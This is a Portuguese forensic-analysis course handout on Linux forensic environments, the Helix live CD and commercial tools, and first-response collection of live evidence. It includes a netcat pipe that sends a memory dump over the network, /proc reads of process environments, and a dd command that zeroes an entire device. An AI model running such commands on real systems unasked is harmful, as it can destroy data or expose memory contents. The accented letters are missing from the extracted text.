
Sistema operacional
Durante o curso, usaremos o Linux, por causa de
algumas caractersticas deste sistema:
No necessrio adquirir licenas para uso
Existe uma gama completa de ferramentas de anlise forense de uso
livre
Capacidade de acessar qualquer tipo de sistema de arquivos ou
parties a partir de configurao no kernel
Capacidade de acessar diversos tipos de dispositivos (USB, discos
etc)
Firewall embutido no kernel e possibilidade de utilizar diversas
modificaes no kernel para aumentar a segurana da mquina
Disponibilidade de diversas distribuies prontas para anlise
forense, facilitando o trabalho de reunir diferentes ferramentas

Sistema operacional
Apesar disso, existem limitaes na utilizao do
sistema Linux.
Se for necessrio analisar algum executvel para
Windows, precisaremos de uma maneira de emular o
Windows. A melhor opo utilizar o VMWare ou
outro sistema de emulao, como o Wine.
Apesar da escolha pelo Linux, existem timas
ferramentas de anlise forense para Windows, tal
como o software EnCase.

Ambiente e ferramentas de anlise forense

Sistema operacional
Deve-se levar em conta que s vezes vai ser necessrio investigar um sistema sem dispositivos padro,
como os presentes em um computador comum. Por
exemplo, como investigar incidentes envolvendo um
PDA, ou uma estao RISC/Solaris? Os dispositivos
de disco so diferentes, e o sistema operacional da
estao forense precisa reconhecer esses equipamentos. Alguns softwares para Windows, como o
EnCase, tm um suporte melhor para imagens de
parties variadas. Entretanto, um suporte nativo
no sistema operacional pode ser muito til e poupar
tempo do investigador.
Alm disso, o sistema operacional precisa ser seguro
o suficiente para no ser comprometido com alguma
ferramenta investigada. Imagine se o investigador est
analisando um arquivo desconhecido e sua estao
forense comprometida por este arquivo?
Alm disso, existem outras vantagens no uso do
Linux, como o sistema da estao forense e das
ferramentas. O sistema permite a criao de CDs
inicializveis que rodam em praticamente qualquer
configurao de hardware sem a necessidade de
instalao de drivers; rodam com pouca memria
e contam com diversos mecanismos de segurana
embutidos no prprio sistema.
Existem diversas opes para resolver o problema
de anlise de binrios de outros sistemas operacionais. No caso do Windows, em alguns casos possvel executar o binrio com emuladores por software
como o Wine, ou utilizar o prprio VMWare com um
sistema Windows rodando na mquina virtual.
Alm disso, dependendo do tipo de anlise que vai
ser feita, existem debuggers para Linux que tm
suporte a diversos formatos de binrios e processadores, como por exemplo o IDA-Pro.

22

Escola Superior de Redes RNP

Live CD

Live CD
Importante manter as ferramentas atualizadas
Existem diversos CDs inicializveis com sistemas
Linux:
No precisam ser instalados
Normalmente no modificam o sistema instalado
Podem ser utilizados em um sistema ligado ou como
dispositivo de boot em um sistema desligado
So atualizados pelos responsveis
Contm uma ampla gama de ferramentas

H grupos especializados em reunir as melhores


ferramentas para anlise forense. Existem diversos
CDs inicializveis com sistemas Linux, prontos
para serem utilizados em um atendimento inicial a
um incidente. Eles no precisam ser instalados, e
normalmente no causam modificaes no sistema
instalado. Podem ser utilizados em um sistema
ligado, ou como dispositivo de boot em um sistema
desligado. Contendo uma ampla gama de ferramentas, sua atualizao mantida pelos responsveis.

Um grande problema para o investigador manter atualizadas todas as suas ferramentas, medida importante em um processo de anlise forense. Por exemplo,
investigadores da polcia tcnica ou peritos criminais em informtica tm como
parte dessas atividades manter suas ferramentas atualizadas.
A recomendao de utilizar um Live CD, ou um pacote pronto de ferramentas, vale
para aqueles profissionais que no tm como atividade principal a realizao de
anlise forense, desempenhando a atividade apenas em casos isolados. Nestes
casos, quando existir a necessidade de realizar uma anlise forense, basta baixar
a ltima verso da distribuio definida como padro, e todas as ferramentas
estaro atualizadas.

Live CD
Helix uma distribuio especfica para anlise forense
Contm ferramentas para anlise e resposta a incidentes
em ambientes Linux, e um pacote de ferramentas para
anlise em sistemas Windows que ainda estejam ligados.
Pode ser utilizado como um CD de boot em sistemas
desligados, ou montado em um sistema ligado para servir
como fonte de ferramentas para uma resposta inicial ao
incidente.
Utilizado por diversas instituies e grupos de anlise
forense e de resposta a incidentes.

Em nosso curso utilizaremos o Helix, uma distribuio especfica para anlise forense, baseada em
uma verso altamente modificada do Knoppix Linux.
Alm de conter ferramentas para anlise e resposta
a incidentes em ambientes Linux, o Helix contm um
pacote de ferramentas para anlise em sistemas
Windows que ainda estejam ligados. Ele foi modificado para garantir que nenhuma alterao seja feita
ao sistema analisado. Pode ser utilizado como um
CD de boot em sistemas desligados, ou montado
em um sistema ligado para servir como fonte de
ferramentas para uma resposta inicial ao incidente.
utilizado por diversas instituies e grupos de anlise
forense e de resposta a incidentes, o que garante
que esteja sempre atualizado.

Alm das ferramentas que sero discutidas durante o curso, existem muitas
outras presentes no CD que o aluno poder utilizar, incluindo interfaces grficas
para algumas das ferramentas discutidas. No curso, examinaremos as ferramentas de comando de linha que permitem trabalhar em um nvel mais baixo de operao, e entender o real funcionamento de cada uma.

Anlise forense Sesso de aprendizagem 2

23

Live CD
Alm do Live CD, em nosso curso utilizaremos o VMWare, ambiente
virtual que simula um computador real, permitindo a execuo de
praticamente qualquer sistema operacional.
Utilizaremos uma imagem do CD do Helix associada ao CD-ROM da
mquina virtual.
Configuraes da mquina virtual:
256 MB de RAM
Disco rgido de 8 GB, para armazenar dados dos exerccios e servir
como exemplo
Imagem do Helix associada ao CD-ROM
Placa de rede host-only (s se conecta ao computador local)
Com o VMWare, podemos reverter o estado da mquina virtual para
estados anteriores, evitando assim a perda de dados proveniente de
comandos errados.

importante deixar claro que o ambiente escolhido


para resposta ao incidente ou para a investigao
forense no deve de maneira nenhuma modificar
qualquer dado no sistema suspeito sem o conhecimento e controle do investigador. Por exemplo, uma
distribuio Linux normal, ao ser iniciada, vai tentar
montar qualquer dispositivo de disco presente na
mquina, e isso deve ser evitado a todo custo. Esta
a vantagem de utilizar uma distribuio especfica
para anlise forense.

Hardware forense
H no mercado diversas solues de hardware que
podemos utilizar para realizar a duplicao e anlise
pericial. Estas ferramentas so mais completas e
realizam cpias perfeitas das informaes em uma
imagem. Atravs da imagem, o perito realiza sua
anlise sem danificar as provas originais. Permitem
a duplicao em alta velocidade, com bloqueio fsico
de escrita, clculo de hash MD5, SHA1, SHA2, emisso de logs de operao etc.

Estaes e servidores
para computao
forense

Em plataformas integradas de processamento,


estes sistemas esto disponveis em configuraes
mveis, estacionrias ou de laboratrio, projetados
para aquisio e exames de evidncias. Possibilitam
duplicar as evidncias diretamente do HD IDE/SCSI/
SATA, disquetes, CD, DVD, ZIP driver, fita DAT 4MM
e PCCARD, SmartMedia, SD-MMC, Memory Stick,
Compact Flash.
Duplicadores de HDs com suporte s principais
interfaces, tais como: IDE, Enhanced IDE, Narrow
SCSI, Wide SCSI, Ultra SCSI e SCA. Podem transferir
dados de diferentes interfaces.
Duplicao em larga escala substitui com inmeras
vantagens os atuais processos de clonagem de
discos via software. Ideal para operaes de deployment e fbricas de PCs.

Duplicadores de HDs
e equipamentos para
bloqueio de escrita em
mdias digitais
Ambiente e ferramentas de anlise forense

24

Escola Superior de Redes RNP


Redes Wi-Fi

Equipamento dedicado para anlise de sinal WLAN


802.11 e cincias forenses. O foco do produto a
facilidade de uso e automao. capaz de capturar
todo o trfego Wi-Fi num raio de 4 km fazendo uso
simultneo dos 14 canais de comunicao 802.11.
Wireless Wi-Fi

Completamente invisvel na rede, permite o armazenamento dos pacotes em


padres que podem ser usados por qualquer ferramenta de anlise forense de
rede. Realiza a decriptografia simultnea de WEP e WPA.
Celulares
\\XRY

A anlise forense de aparelhos celulares ganha outra dimenso com o


uso do .XRY. Incrivelmente rpido, seguro e prtico de usar. O visualizador de
dados gratuito, permitindo a anlise distribuda por uma equipe maior e o
compartilhamento de informaes.

\\SIM

ID Cloner Permite anlise em celulares com chip bloqueado ou danificado.

Celulares

Pacote forense
Helix
The Coroner's Toolkit
Flag-Knoppix
SMART Linux
Comerciais
FTK Forensic Toolkit
EnCase

Pacote forense
Helix
Este software oferece aos profissionais da rea
a possibilidade de executar vrios processos de
anlise forense computacional. Suporta diversos
sistemas operacionais. Pode ser executado atravs
de um sistema operacional ou antes do incio do
sistema operacional. Suas principais caractersticas
so:
\\Suporte

aos sistemas operacionais das


plataformas Windows, Linux e Solaris;

\\Mostra

informaes do sistema, como: verso do


sistema operacional, rede, discos, parties e o
sistema de arquivos, alm do tamanho;

\\Realiza

cpia perfeita de disco e memria


fsica, em outra rea, como a rede ou em mdia
removvel;

\\Disponibiliza

o acesso a vinte ferramentas de


percia forense computacional;

Helix
Anlise forense Sesso de aprendizagem 2

25

\\Possui

algumas documentaes a respeito de percia forense computacional


que podem ajudar o perito a desenvolver o seu trabalho;

\\Possui

um navegador que possibilita expandir os discos e verificar algumas


propriedades dos arquivos e pastas;

\\Contm

uma ferramenta de procura rpida por imagens de diversos formatos


no computador;

\\Possui

um editor de texto para realizar anotaes importantes sobre o que


est sendo analisado.

FTK Forensic Toolkit


Oferece aos profissionais da rea a habilidade de executar percias completas nos
computadores. Com esta ferramenta possvel customizar filtros que permitem a
pesquisa em milhares de arquivos e encontrar a evidncia rapidamente. O FTK
conhecido no mercado como uma das principais ferramentas de anlise forense
de e-mail. Suas principais caractersticas so:

FTK Forensic Toolkit


\\Recuperao
\\Visualizao
\\Gera

de registros;

auditoria de logs e relatrios de casos;

\\Recupera
\\Visualiza
\\O

de e-mails excludos;

automaticamente arquivos excludos e parties;

mais de 270 formatos diferentes de arquivos;

FTK Explorer permite que se navegue rapidamente pelas imagens encontradas;

Ambiente e ferramentas de anlise forense

26

Escola Superior de Redes RNP


\\Suporta

vrios sistemas de arquivos, como NTFS, FAT12, FAT16, FAT32, Linux


Ext2 e Ext3;

\\Suporta

os formatos de imagens de outros programas, como o EnCase;

\\

suportado por vrios clientes de e-mail, como o Outlook, Outlook Express,


Yahoo, Hotmail etc.

\\Pesquisa,
\\Extrai

visualiza, imprime e exporta mensagens de e-mails e anexos;

informaes da maioria dos arquivos compactados.

EnCase Forensics
Ferramenta grfica do setor de tecnologia da investigao forense de computadores. Com uma interface de uso intuitivo, auxilia o perito na anlise e aquisio dos
dados, realiza busca em diversas mdias e gera documentao. O programa foi
desenvolvido para atender a necessidade dos peritos em buscar informaes no
formato eletrnico, tais como e-mails e internet. Suas principais caractersticas so:

EnCase Forensics

\\Investigao
\\Provas

reativa;

no repudiveis;

\\Refora

metodologia internacional;

\\Acesso

a informaes escondidas;

\\Automatizao
\\Resposta

a incidentes e combate a fraudes;

\\Investigao
\\Resposta

de pesquisas;

pr-ativa;

a incidentes aps a ltima linha de defesa;

\\Documentao

de incidentes;

\\Discrio;
\\Assertividade

Anlise forense Sesso de aprendizagem 2

no processo de recuperao.

27

NetWitness
Ferramenta capaz de analisar o trfego que flui na rede. Anos de colaborao
com o departamento de inteligncia dos EUA fizeram com que o NetWitness seja
capaz de analisar grande volume de informao dinmica, respondendo imediatamente a ataques: quem fez o qu, onde, quando, como e por qu.

Net Witness

Programas especficos
O processamento de imagens est integrado aos sistemas de investigao mais
avanados do mundo. O resultado dessa combinao o enorme aumento de
produtividade e expanso dos limites humanos, quando for necessrio o processamento de grande quantidade de imagens.

Software para
reconhecimento visual
de imagens
Ambiente e ferramentas de anlise forense

28

Escola Superior de Redes RNP

Para exemplificar, veja as imagens da capa da


revista Time. A da esquerda a original; a da direita
contm uma informao secreta, que s poder ser
descoberta por quem tiver a senha e o programa
apropriado.
Gargoyle Investigator Forensic
Esteganografia

Busca a identificao de armas digitais em sistemas isolados. Compatvel com


imagens capturadas por EnCase, DD, FTK e outros. Expande a funcionalidade
para busca em rede por toda a corporao, incluindo: Anti Forensics, Binary
Editors, BotNets, Credit Card Fraud Tools, Denial of Service Tools, Encryption,
Steganography, Exploit Scanners, File Splitters, Gaming Tools, Keyloggers,
Spyware, Peer to Peer Communications, Password Crackers, Remote Access
Tools, Trojans, Worms, Rootkits, Wired and Wireless Surveillance.
Stego realiza a deteco de esteganografia em imagens ou arquivos de udio
diretamente no sistema de arquivos, em HDs capturados ou pela internet. Realiza
a anlise detalhada e a busca dos arquivos altamente supeitos. Realiza ataques de
dicionrio e fora bruta contra algoritmos conhecidos de esteganografia.
Ultimate Toolkit contm vrias ferramentas necessrias para investigao e
percia de computadores e outras evidncias digitais. Dentre as principais, destacamos: Forensic Toolkit, Registry Viewer, Password Recovery Toolkit e Distributed
Network Attack. Rainbow Tables uma ferramenta de ataque pr-computado
de fora bruta que reduz o tempo de quebra de chaves de criptografia de 40
bits para segundos. Um ataque de fora bruta sobre uma chave de 4 bits deve
processar 1 trilho de possibilidades, e um Pentium IV processando 500.000
combinaes por segundo levaria 25 dias para complet-lo. Com Rainbow Tables
voc pode decriptografar um documento de Word em segundos ou minutos, ao
invs de dias.
Mercury encontra as evidncias de maneira rpida. Integrado ao EnCase
Forensics, indexa o arquivo de evidncias e permite buscas avanadas por palavras-chaves, proximidade, combinaes etc. Pode ser distribudo para pessoas
que no possuem conhecimento tcnico, aumentando a produtividade da equipe
de investigao.

Anlise forense Sesso de aprendizagem 2

29

Preparao da investigao

Preparao da investigao
No atendimento inicial a um incidente, o investigador
deve:
Coletar o mximo possvel de evidncias
Comprovar o incidente
Conter possveis ataques originados no sistema
comprometido
Como fazer tudo isso, minimizando a perda de dados?
Nesta hora, a utilizao de um checklist pode ajudar,
principalmente se o sistema ainda estiver ligado.
A resposta precisa ser rpida e precisa.

Ao investigar um sistema possivelmente comprometido que esteja ligado, o investigador deve se


preocupar em coletar primeiro as informaes mais
volteis, como memria RAM, informaes de rede,
processos em execuo, cpia do disco rgido, logs
e histricos.
Normalmente, o investigador vai ter a sua disposio
equipamentos de armazenagem e de rede para se
comunicar com o sistema suspeito.

Preparao da investigao
Primeira ao: preparar as ferramentas e dispositivos
para a coleta das evidncias.
Coletar primeiro as informaes mais volteis:
Memria RAM, informaes de rede, processos em
execuo, cpia do disco rgido, logs, histricos;
Possuir equipamentos de armazenagem e de rede
para comunicao com o sistema suspeito.
Durante o curso, vamos utilizar o Live CD do Helix em
um sistema virtual, como por exemplo no atendimento
a incidentes em sistemas ligados.

Durante o curso, utilizaremos o Live CD do Helix em


um sistema virtual, como por exemplo no atendimento a incidentes em sistemas ligados.

Preparao do ambiente

Preparao do ambiente
Inicialmente, preparemos o ambiente que vamos
utilizar durante o atendimento ao incidente:
# fdisk l
Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot
Start
End
Blocks
/dev/sda1
1
32
257008+
/dev/sda2
33
64
257040
/dev/sda3
65
1044
7871850
/dev/sda5
65
1044
7871818+
# mkdir /data
# mount /dev/sda5 /data

A primeira ao preparar as ferramentas e dispositivos para a coleta das evidncias.

Id
82
83
5
83

System
Linuxswap
Linux
Extended
Linux

# fdisk -l8
Disk /dev/sda: 8589 MB, 8589934592 bytes
255 heads, 63 sectors/track, 1044 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Device Boot
Start
End
Blocks
Id System
/dev/sda1
1
32
257008+ 82 Linuxswap
/dev/sda2
33
64
257040
83 Linux
/dev/sda3
65 1044 7871850
5 Extended
/dev/sda5
65 1044 7871818+ 83 Linux
# mkdir /data8
# mount /dev/sda5 /data8

Ambiente e ferramentas de anlise forense

30

Escola Superior de Redes RNP

Preparao do ambiente
A memria RAM a informao mais voltil que existe no
sistema.
No Helix, temos uma ferramenta chamada memdump, que faz
uma cpia da memria RAM, que podemos redirecionar para
um arquivo em disco:
# memdump > /data/phys_memory.img
Alm disso, podemos redirecionar para uma conexo de rede,
e coletar remotamente o arquivo em nossa estao forense:
Na estao forense:
# nc -l -p 4000 > /data/phys_memory.img
Na mquina suspeita:
# memdump | nc 127.0.0.1 4000

Neste exemplo, vamos copiar a memria RAM do sistema virtual para um arquivo, e grav-lo no diretrio montado previamente. Pode acontecer de algum aluno no
ter montado a partio do disco conforme mostrado, e
acontecer um erro por falta de espao. Consulte o slide
anterior para montar a partio do disco corretamente.

Nota: O memdump tem um parmetro para copiar a memria


do kernel do Linux, alm de copiar a memria fsica. Este
parmetro no funciona dentro do sistema virtual.

O comando netcat (nc) muito importante para o analista forense. Ele permite criar
conexes de rede TCP ou UDP com outras mquinas, alm de criar listeners, permitindo
simular a existncia de um servio, ou, como no exemplo, permitir a cpia de arquivos
pela rede sem utilizao de software especfico para isso. O instrutor deve tomar algum
tempo para mostrar o funcionamento do netcat, especificamente no exemplo dado.
No exemplo, o aluno vai utilizar o netcat para criar um listener na mquina, na
porta 4000, redirecionando a sada dele para um arquivo. A seguir, em outro
terminal, o aluno vai executar o memdump, redirecionando a sada dele para o
netcat, que vai criar uma conexo com a mquina local, na porta 4000, e enviar
toda a sada do memdump para essa conexo.
Com isso, a sada do comando memdump vai ser transmitida pela rede (neste
caso, localmente, mas normalmente atravs da rede fsica) para o arquivo especificado no primeiro redirecionamento. possvel redirecionar para uma conexo de
rede, e coletar remotamente o arquivo em nossa estao forense:

Preparao do ambiente

Na estao forense:
# nc -l -p 4000 > /data/phys_memory.img8

Passos importantes durante o atendimento a um incidente:


Manter um registro preciso de todas as aes executadas, registrando
todos os comandos executados, com os respectivos tempos de
execuo.
Descobrir se as informaes de tempo disponveis em suas evidncias
so coerentes.

Na mquina suspeita:
# memdump | nc 127.0.0.1 40008

Durante a fase de anlise das evidncias, o investigador vai precisar correlacionar as evidncias
encontradas na mquina invadida com evidncias
# date
Sun Jan 6 01:34:46 MST 2008
externas, como logs de firewall, roteadores, IDS etc.
# uptime
O sincronismo de tempo e a coerncia entre os time01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18
zones dessas evidncias importante para garantir
a validade das concluses encontradas atravs das
evidncias. Por isso importante descobrir essa informao o quanto antes,
durante o atendimento inicial do incidente.
O timezone de logs e da mquina um dado muito importante.

Por isso, aps recuperar a memria da mquina, importante


descobrir essas informaes:

Anlise forense Sesso de aprendizagem 2

31

Este passo normalmente o primeiro a ser realizado, mas como tentamos evitar
ao mximo o comprometimento de evidncias, executamos estes comandos
somente aps a coleta da memria, pois a execuo destes comandos poderia
sobrescrever alguma evidncia em memria.
O instrutor pode comentar sobre a necessidade de manter dispositivos sincronizados, de preferncia com servidores NTP confiveis, e sobre o funcionamento do
timezone e do relgio do sistema, que est sempre em UTC. A configurao de
timezone utilizada somente para mostrar a hora no valor local.
No incio da investigao, um passo importante durante o atendimento a um incidente manter um registro preciso de todas as aes executadas; para isso,
necessrio registrar todos os comandos executados, com os respectivos tempos
de execuo.
Alm disso, importante descobrir se as informaes de tempo disponveis em
suas evidncias so coerentes. O timezone de logs e da mquina um dado
muito importante. Por isso, aps recuperar a memria da mquina, importante
descobrir essas informaes:
# date8
Sun Jan 6 01:34:46 MST 2008
# uptime8
01:35:16 up 7:55, 5 users, load average: 0.13, 0.26, 0.18

Coletando informaes dos processos


# lsof l
Lista todos os arquivos abertos.
Use os comandos more ou less ou redirecione a sada atravs
do netcat

# lsof -i
Lista todos os arquivos de rede abertos, para descobrir os
programas que esto mantendo conexes abertas.
Tem a mesma funo do comando netstat nap.
COMMAND PID USER
FD
TYPE DEVICE SIZE NODE NAME
Xorg
2252 root
1u IPv4
9383
TCP *:x11 (LISTEN)
sshd
2792 root
3u IPv4 10359
TCP *:ssh (LISTEN)
pump
2870 root
0u IPv4 10612
TCP *:bootpc (LISTEN)
sshd
2872 root
3u IPv4 10647
TCP 192.168.47.129:ssh>192.168.47.1:4944 (ESTABLISHED)

Coletando informaes dos processos


LSOF um comando importante para a coleta de
informaes sobre processos e conexes de rede,
porque integra a funcionalidade de diversas ferramentas diferentes. Pode funcionar como o netstat ou
como o ps, por exemplo, alm de ter a capacidade
de listar arquivos abertos. Neste slide e no prximo,
o instrutor pode dedicar algum tempo a testar os
parmetros do LSOF com mais profundidade, alm
dos parmetros apresentados aqui.
# lsof l8

Lista todos os arquivos abertos. A sada pode ser grande, por isso use algum tipo
de controle de sada. Use os comandos more ou less, por exemplo, ou redirecione
a sada atravs do netcat.
# lsof -i8

Lista todos os arquivos de rede abertos. Com isso possvel descobrir os programas
que esto mantendo conexes abertas. Tem a mesma funo do comando netstat nap.

Ambiente e ferramentas de anlise forense

32

Escola Superior de Redes RNP


COMMAND
PID USER
Xorg 2252 root 1u
sshd 2792 root 3u
pump 2870 root 0u
sshd 2872 root 3u
(ESTABLISHED)

FD
IPv4
IPv4
IPv4
IPv4

TYPE
9383
10359
10612
10647

Uma maneira de utilizar o LSOF em conjunto com


o comando grep. Podemos limitar o que o LSOF
mostra, para listar todos os arquivos abertos por um
determinado comando (lsof l | grep netscape) ou
todos os programas que mantm um listener aberto.

Coletando informaes dos processos


Utilizao de LSOF em conjunto com o comando grep:
# lsof -l | grep LISTEN
Xorg
2252
0
sshd
2792
0
pump
2870
0

1u
3u
0u

IPv4
IPv4
IPv4

9383
10359
10612

TCP *:x11 (LISTEN)


TCP *:ssh (LISTEN)
TCP *:bootpc (LISTEN)

Este comando mostra todos os processos que mantm


um socket Unix aberto:

# lsof -l | grep LISTEN8


Xorg 2252 0 1u IPv4 9383 TCP *:x11 (LISTEN)
sshd 2792 0 3u IPv4 10359 TCP *:ssh (LISTEN)
pump 2870 0 0u IPv4 10612 TCP *:bootpc (LISTEN)

# lsof -U

COMMAND
PID
USER
FD
TYPE
DEVICE SIZE
udevd
517
root
3u unix 0xce957e00
dbus-daem 1485 messagebus
3u unix 0xce957c80
/var/run/dbus/system_bus_socket
dbus-daem 1485 messagebus
5u unix 0xce957b00

DEVICE SIZE NODE NAME


TCP *:x11 (LISTEN)
TCP *:ssh (LISTEN)
TCP *:bootpc (LISTEN)
TCP 192.168.47.129:ssh->192.168.47.1:4944

NODE NAME
4060 socket
7524
7526 socket

Este comando mostra todos os processos que


mantm um socket Unix aberto. Pode ser importante
para descobrir processos escondidos que esto
mantendo conexes abertas e pipes que podem indicar a presena de trojans e rootkits.

# lsof -U8
COMMAND
udevd
dbus-daem
dbus-daem

PID
517
1485
1485

USER
root
messagebus
messagebus

Coletando informaes dos processos


Recuperao de informaes sobre processos atravs
do diretrio /proc:
# ls /proc/2877
attr auxv cmdline cwd environ exe fd maps
mem mounts mountstats oom_adj oom_score root
seccomp smaps stat statm status task wchan

Para cada processo existem diversas informaes


disponveis.
Alguns destes arquivos contm dados importantes
sobre o processo em execuo.

FD
3u
3u
5u

TYPE
unix
unix
unix

DEVICE SIZE
0xce957e00
0xce957c80
0xce957b00

NODE
4060
7524
7526

NAME
socket
/var/run/dbus/system_bus_socket
socket

Outra forma de recuperar informaes sobre processos atravs do diretrio /proc. Este diretrio
criado virtualmente pelo kernel do sistema operacional para armazenar informaes sobre o hardware e
software bsicos do sistema. Para cada processo,
um diretrio criado com diversos dados sobre ele:
# ls /proc/28778
attr auxv cmdline cwd environ exe fd maps mem
mounts mountstats oom_adj oom_sco
re root seccomp smaps stat statm status task wchan

importante perceber que, como este diretrio virtual, isto , no existe fisicamente no disco, qualquer
modificao feita nele no vai comprometer as evidncias em disco. Contudo,
importante notar que preciso ter muito cuidado para no modificar nada mais
alm deste diretrio.
Como podemos ver, para cada processo existem diversas informaes disponveis.
Alguns destes arquivos contm dados importantes sobre o processo em execuo.

Anlise forense Sesso de aprendizagem 2

33

Coletando informaes dos processos


Contedo de alguns arquivos:
O arquivo abaixo na verdade um link para o diretrio
corrente do processo:
# ls -l /proc/2877/cwd
lrwxrwxrwx 1 root root 0 Jan
-> /data

5 18:50 /proc/2877/cwd

O arquivo abaixo contm a linha de comando utilizada para


iniciar o processo, servindo para identificar processos
estranhos:

Muitas vezes, ao invadir uma mquina e instalar


alguma ferramenta, o hacker costuma modificar
o nome dos arquivos para nomes comuns em um
sistema, como por exemplo sshd ou httpd. importante descobrir o diretrio onde esses arquivos
esto, sem comprometer evidncias no disco, para
comprovar o comprometimento da mquina.
Anlise de contedo de alguns arquivos

# cat /proc/2877/cmdline
-bash

O arquivo abaixo na verdade um link para o diretrio


corrente do processo. Pode ser importante para descobrir se algum processo com um nome comum (por
exemplo httpd) est sendo executado a partir de um diretrio que no seja padro.
# ls -l /proc/2877/cwd8
lrwxrwxrwx 1 root root 0 Jan 5 18:50 /proc/2877/cwd -> /data

O arquivo abaixo contm a linha de comando utilizada para iniciar o processo. Da


mesma forma que o arquivo anterior, pode ser importante para descobrir processos estranhos.
# cat /proc/2877/cmdline8
-bash

Coletando informaes dos processos


O arquivo abaixo contm as variveis de ambiente
utilizadas no momento da execuo do programa.
# cat /proc/2877/environ
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/u
sr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin:/
usr/X11R6/binMAIL=/var/mail/rootSHELL=/bin/bashSS
H_CLIENT=192.168.47.1 4944
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100

Outra forma de comprometer um sistema atravs da


instalao de bibliotecas compartilhadas modificadas.
Neste caso, o hacker pode carreg-las de diversas
maneiras, mas um meio comum atravs da modificao da varivel de ambiente LD_PRELOAD, que
define as bibliotecas compartilhadas que devem ser
carregadas antes da execuo de um binrio qualquer.
A existncia desta varivel apontando para um arquivo
suspeito pode indicar o comprometimento da mquina.

O arquivo abaixo contm as variveis de ambiente


utilizadas no momento da execuo do programa.
Repare que as variveis de ambiente criadas pelo
SSH aparecem aqui, o que pode ser importante para identificar algum programa
que tenha sido executado remotamente.
# cat /proc/2877/environ8
USER=rootLOGNAME=rootHOME=/rootPATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sb
in:/usr/local/bin:/usr/X11R6/binMAIL=/var/mail/root
SHELL=/bin/bashSSH_CLIENT=192.168.47.1 4944
22SSH_CONNECTION=192.168.47.1 4944 192.168.47.129
22SSH_TTY=/dev/pts/2TERM=vt100

Ambiente e ferramentas de anlise forense

34

Escola Superior de Redes RNP

Coletando informaes dos processos


Este arquivo mostra informaes de status do
processo:
# cat /proc/2877/status
Name:
bash
State: S (sleeping)
SleepAVG:
98%
Tgid:
2877
Pid:
2877
PPid:
2872
TracerPid:
0
Uid:
0
0
0
Gid:
0
0
0

# cat /proc/2877/status8

0
0

Coletando informaes dos processos


possvel recuperar processos atravs do /proc. Exemplo:
# ps ax | grep sshd
2792 ?
Ss
2872 ?
Ss

Este arquivo mostra informaes de status do processo. Podemos ver informaes sobre usurio/
grupo que executou o processo, memria e CPU
utilizados, entre outras informaes.

0:00 /usr/sbin/sshd
0:07 sshd: root@pts/2,pts/3

# cat /proc/2792/exe > /data/proc_2792_sshd.dat


# sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd
415b2c34037fad7d2cf54a55e35a3892bf03ebd6
/data/proc_2792_sshd.dat
415b2c34037fad7d2cf54a55e35a3892bf03ebd6
/usr/sbin/sshd

Name: bash
State: S (sleeping)
SleepAVG: 98%
Tgid: 2877
Pid: 2877
PPid: 2872
TracerPid:
0
Uid:
0
0
0
Gid:
0
0
0

0
0

Este exemplo mostra como recuperar um processo


em memria, sem precisar encontrar o arquivo correspondente em disco. comum os hackers removerem
do disco as ferramentas que instalam na mquina
aps execut-las, pois, dessa forma, se o sistema
reiniciado, no h mais traos de suas atividades. Por
isso importante tomar cuidado ao comear a investigar um sistema suspeito, pois simplesmente deslig-lo
pode comprometer todas as evidncias que o investigador teria para encontrar o responsvel.

Quando for necessrio recuperar algum processo


em memria, e o arquivo no existir mais em disco,
ou voc no quiser correr o risco de modificar evidncias no disco, possvel
recuper-lo atravs do /proc. Vejamos um exemplo:
# ps ax | grep sshd8
2792 ? Ss 0:00 /usr/sbin/sshd
2872 ? Ss 0:07 sshd: root@pts/2,pts/3
# cat /proc/2792/exe > /data/proc_2792_sshd.dat8
# sha1sum /data/proc_2792_sshd.dat /usr/sbin/sshd8
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /data/proc_2792_sshd.dat
415b2c34037fad7d2cf54a55e35a3892bf03ebd6 /usr/sbin/sshd

Anlise forense Sesso de aprendizagem 2

35

Preservao do disco

Preservao do disco
Aps a coleta de informaes mais volteis, preciso
salvar as evidncias menos volteis
A coleta deste tipo de evidncia importante, pois ser
atravs dos dados armazenados nos discos que
poderemos identificar processos executados pelo hacker,
como instalao de ferramentas e modificao de arquivos
H diversas metodologias e ferramentas disponveis para
coletar uma cpia dos discos:
Equipamentos especficos para cpia de discos
Ferramentas para cpia disco a disco
Criao de uma imagem de disco bit a bit (mais comum)

Agora que j coletamos as informaes mais volteis,


podemos nos preocupar em salvar as evidncias
menos volteis. Precisamos coletar uma cpia de
quaisquer dispositivos de armazenagem conectados
ao equipamento.
A coleta deste tipo de evidncia importante, pois
ser atravs dos dados armazenados nos discos que
poderemos identificar processos executados pelo
hacker, instalao de ferramentas, modificao de
arquivos, enfim, poderemos criar uma linha do tempo
das atividades da mquina.

Para coletar uma cpia dos discos, existem diversas metodologias e ferramentas disponveis, tais como equipamentos especficos para cpia de discos, ferramentas para
cpia disco a disco, e o mais comum, a criao de uma imagem de disco bit a bit.
Uma imagem bit a bit uma cpia fiel do contedo do dispositivo de armazenagem,
garantindo que todos os dados presentes no dispositivo estejam presentes na imagem.

Preservao do disco
Neste curso vamos utilizar o formato DD, por ser mais
difundido e mais facilmente manipulado dentro de um
ambiente Linux.
Para coletar uma imagem de um dispositivo de disco,
utilizaremos a ferramenta dd (da o nome do formato DD).
Ferramenta disponvel por padro em qualquer sistema
Linux, permite que se realizem cpias bit a bit entre
dispositivos, ou ento entre dispositivos e arquivos e
vice-versa.

Preservao do disco
Antes de copiar as evidncias, necessrio garantir que
nosso dispositivo de armazenagem est limpo.
Para isso, zerar o contedo do disco (antes de gravar
qualquer evidncia) com o seguinte comando:
# dd if=/dev/zero of=/dev/<dispositivo> bs=512
conv=noerror
dd: writing `/dev/<dispositivo>': No space left on device
514018+0 records in
514017+0 records out
263176704 bytes (263 MB) copied, 4.17215 seconds, 63.1
MB/s

Ambiente e ferramentas de anlise forense

Existem diversos formatos de imagem, alguns por


ferramentas especficas, como o software comercial
